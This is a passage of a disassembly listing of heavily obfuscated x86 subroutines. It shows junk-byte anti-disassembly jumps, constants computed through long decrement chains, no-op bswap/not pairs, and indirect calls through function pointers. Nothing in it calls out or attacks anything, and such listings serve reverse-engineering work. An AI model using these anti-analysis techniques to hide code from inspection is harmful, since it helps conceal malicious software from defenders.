mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1F00h
pop ebx
jo short loc_495952
jl short loc_495950
loc_49594B: ; CODE XREF: sub_49591C:loc_495950j
; sub_49591C:loc_495952j
jmp short loc_495954
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_495950: ; CODE XREF: sub_49591C+2Dj
jz short loc_49594B
loc_495952: ; CODE XREF: sub_49591C+2Bj
jmp short loc_49594B
; ---------------------------------------------------------------------------
loc_495954: ; CODE XREF: sub_49591C:loc_49594Bj
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 15h
dec dl
sub dl, 3
dec dl
sub dl, 7
dec dl
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4959B4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4959B4: ; CODE XREF: sub_49591C+8Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49591C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4959C8 proc near ; DATA XREF: sub_4965D8+9D7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495A5F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495A5F: ; CODE XREF: sub_4959C8+8Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4959C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495A73 proc near ; DATA XREF: sub_4965D8+608o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
jmp short loc_495AD2
; ---------------------------------------------------------------------------
and eax, 1
loc_495AD2: ; CODE XREF: sub_495A73+5Aj
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 3
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495B35
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495B35: ; CODE XREF: sub_495A73+B7j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495A73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495B49 proc near ; DATA XREF: sub_4965D8+15E1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_495B72
; ---------------------------------------------------------------------------
mov ebx, 4
loc_495B72: ; CODE XREF: sub_495B49+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
and eax, 0
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495BB7
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495BB7: ; CODE XREF: sub_495B49+63j
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495B49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495BCB proc near ; DATA XREF: sub_4965D8+3E8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_495C33
jl short loc_495C31
loc_495C2E: ; CODE XREF: sub_495BCB:loc_495C31j
; sub_495BCB:loc_495C33j
jmp short loc_495C35
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_495C31: ; CODE XREF: sub_495BCB+61j
jz short loc_495C2E
loc_495C33: ; CODE XREF: sub_495BCB+5Fj
jmp short loc_495C2E
; ---------------------------------------------------------------------------
loc_495C35: ; CODE XREF: sub_495BCB:loc_495C2Ej
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_495D13
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_495CFD
not eax
add eax, 1
stc
jmp short loc_495D03
; ---------------------------------------------------------------------------
loc_495CFD: ; CODE XREF: sub_495BCB+128j
not eax
add eax, 1
clc
loc_495D03: ; CODE XREF: sub_495BCB+130j
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_495D13
and eax, 0
inc eax
jmp short loc_495D16
; ---------------------------------------------------------------------------
loc_495D13: ; CODE XREF: sub_495BCB+9Bj
; sub_495BCB+140j
and eax, 0
loc_495D16: ; CODE XREF: sub_495BCB+146j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495D39
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495D39: ; CODE XREF: sub_495BCB+163j
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495BCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495D4D proc near ; DATA XREF: sub_4965D8+1091o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
inc ebx
inc ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 10h
dec ch
dec ch
sub ch, 14h
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
xor edx, edx
or ebx, edx
jz short loc_495D95
dec edi
and eax, 0
jmp short loc_495D9C
; ---------------------------------------------------------------------------
loc_495D95: ; CODE XREF: sub_495D4D+40j
dec edi
and eax, 0
dec edi
dec edi
inc eax
loc_495D9C: ; CODE XREF: sub_495D4D+46j
mov [ebp+var_8], eax
mov eax, dword_4ED404
xor eax, dword_4ED408
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_495DBE
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_495DBE: ; CODE XREF: sub_495D4D+66j
mov edx, [ebp+var_4]
push edx
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495D4D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495DD2 proc near ; DATA XREF: sub_4965D8+F98o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_495E3A
jl short loc_495E38
loc_495E35: ; CODE XREF: sub_495DD2:loc_495E38j
; sub_495DD2:loc_495E3Aj
jmp short loc_495E3C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_495E38: ; CODE XREF: sub_495DD2+61j
jz short loc_495E35
loc_495E3A: ; CODE XREF: sub_495DD2+5Fj
jmp short loc_495E35
; ---------------------------------------------------------------------------
loc_495E3C: ; CODE XREF: sub_495DD2:loc_495E35j
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_495F19
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_495F04
not eax
add eax, 1
stc
jmp short loc_495F0A
; ---------------------------------------------------------------------------
loc_495F04: ; CODE XREF: sub_495DD2+128j
not eax
add eax, 1
clc
loc_495F0A: ; CODE XREF: sub_495DD2+130j
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_495F19
and eax, 0
jmp short loc_495F1D
; ---------------------------------------------------------------------------
loc_495F19: ; CODE XREF: sub_495DD2+9Bj
; sub_495DD2+140j
and eax, 0
inc eax
loc_495F1D: ; CODE XREF: sub_495DD2+145j
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495F40
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495F40: ; CODE XREF: sub_495DD2+163j
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495F54 proc near ; DATA XREF: sub_4965D8+250o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AFh
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 5
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
dec cl
add cl, 12h
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 13h
dec cl
dec cl
dec cl
dec cl
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_496019
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_496019: ; CODE XREF: sub_495F54+BAj
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49602D proc near ; DATA XREF: sub_4965D8+349o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 40h
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
add ecx, 0Bh
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_4960CA
jl short loc_4960C8
loc_4960C5: ; CODE XREF: sub_49602D:loc_4960C8j
; sub_49602D:loc_4960CAj
jmp short loc_4960CC
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4960C8: ; CODE XREF: sub_49602D+96j
jz short loc_4960C5
loc_4960CA: ; CODE XREF: sub_49602D+94j
jmp short loc_4960C5
; ---------------------------------------------------------------------------
loc_4960CC: ; CODE XREF: sub_49602D:loc_4960C5j
cmp eax, edx
jo short loc_4960D7
jl short loc_4960D5
loc_4960D2: ; CODE XREF: sub_49602D:loc_4960D5j
; sub_49602D:loc_4960D7j
jmp short loc_4960D9
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4960D5: ; CODE XREF: sub_49602D+A3j
jz short loc_4960D2
loc_4960D7: ; CODE XREF: sub_49602D+A1j
jmp short loc_4960D2
; ---------------------------------------------------------------------------
loc_4960D9: ; CODE XREF: sub_49602D:loc_4960D2j
jz short loc_4960EC
and eax, 0
jo short loc_4960E7
jl short loc_4960E5
loc_4960E2: ; CODE XREF: sub_49602D:loc_4960E5j
; sub_49602D:loc_4960E7j
jmp short loc_4960E9
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4960E5: ; CODE XREF: sub_49602D+B3j
jz short loc_4960E2
loc_4960E7: ; CODE XREF: sub_49602D+B1j
jmp short loc_4960E2
; ---------------------------------------------------------------------------
loc_4960E9: ; CODE XREF: sub_49602D:loc_4960E2j
inc eax
jmp short loc_4960EF
; ---------------------------------------------------------------------------
loc_4960EC: ; CODE XREF: sub_49602D:loc_4960D9j
and eax, 0
loc_4960EF: ; CODE XREF: sub_49602D+BDj
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_496112
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_496112: ; CODE XREF: sub_49602D+DAj
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49602D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_496126 proc near ; DATA XREF: sub_4965D8+C95o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 8
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 41h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 4
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4961BD
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4961BD: ; CODE XREF: sub_496126+8Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_496126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4961D1 proc near ; DATA XREF: sub_4965D8+B14o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 1Ch
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 8Bh
sub bl, 5
dec bl
dec bl
dec bl
dec bl
sub bl, 4
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_496296
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_496296: ; CODE XREF: sub_4961D1+BAj
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4961D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4962AA proc near ; DATA XREF: sub_4965D8+E5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 3
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 9Ah
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 2
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 500h
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_496336
jl short loc_496334
loc_496331: ; CODE XREF: sub_4962AA:loc_496334j
; sub_4962AA:loc_496336j
jmp short loc_496338
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_496334: ; CODE XREF: sub_4962AA+85j
jz short loc_496331
loc_496336: ; CODE XREF: sub_4962AA+83j
jmp short loc_496331
; ---------------------------------------------------------------------------
loc_496338: ; CODE XREF: sub_4962AA:loc_496331j
cmp eax, edx
jo short loc_496343
jl short loc_496341
loc_49633E: ; CODE XREF: sub_4962AA:loc_496341j
; sub_4962AA:loc_496343j
jmp short loc_496345
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_496341: ; CODE XREF: sub_4962AA+92j
jz short loc_49633E
loc_496343: ; CODE XREF: sub_4962AA+90j
jmp short loc_49633E
; ---------------------------------------------------------------------------
loc_496345: ; CODE XREF: sub_4962AA:loc_49633Ej
setnz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49636D
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49636D: ; CODE XREF: sub_4962AA+B8j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4962AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_496381 proc near ; DATA XREF: sub_4965D8+6A7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
not ecx
not ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
pop edx
test eax, eax
jnz loc_4964EC
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
jo short loc_496476
jl short loc_496474
loc_49646F: ; CODE XREF: sub_496381:loc_496474j
; sub_496381:loc_496476j
jmp short loc_496478
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_496474: ; CODE XREF: sub_496381+ECj
jz short loc_49646F
loc_496476: ; CODE XREF: sub_496381+EAj
jmp short loc_49646F
; ---------------------------------------------------------------------------
loc_496478: ; CODE XREF: sub_496381:loc_49646Fj
and al, cl
pop ecx
pop ebx
neg eax
sbb eax, eax
inc eax
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49649E
jl short loc_49649C
loc_496497: ; CODE XREF: sub_496381:loc_49649Cj
; sub_496381:loc_49649Ej
jmp short loc_4964A0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49649C: ; CODE XREF: sub_496381+114j
jz short loc_496497
loc_49649E: ; CODE XREF: sub_496381+112j
jmp short loc_496497
; ---------------------------------------------------------------------------
loc_4964A0: ; CODE XREF: sub_496381:loc_496497j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 7
dec dh
sub dh, 3
dec dh
jo short loc_4964D6
jl short loc_4964D4
loc_4964CF: ; CODE XREF: sub_496381:loc_4964D4j
; sub_496381:loc_4964D6j
jmp short loc_4964D8
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4964D4: ; CODE XREF: sub_496381+14Cj
jz short loc_4964CF
loc_4964D6: ; CODE XREF: sub_496381+14Aj
jmp short loc_4964CF
; ---------------------------------------------------------------------------
loc_4964D8: ; CODE XREF: sub_496381:loc_4964CFj
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4964EC
and eax, 0
inc eax
jmp short loc_4964EF
; ---------------------------------------------------------------------------
loc_4964EC: ; CODE XREF: sub_496381+6Fj
; sub_496381+163j
and eax, 0
loc_4964EF: ; CODE XREF: sub_496381+169j
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_496512
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_496512: ; CODE XREF: sub_496381+186j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_496381 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_496526 proc near ; DATA XREF: sub_4965D8+5Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
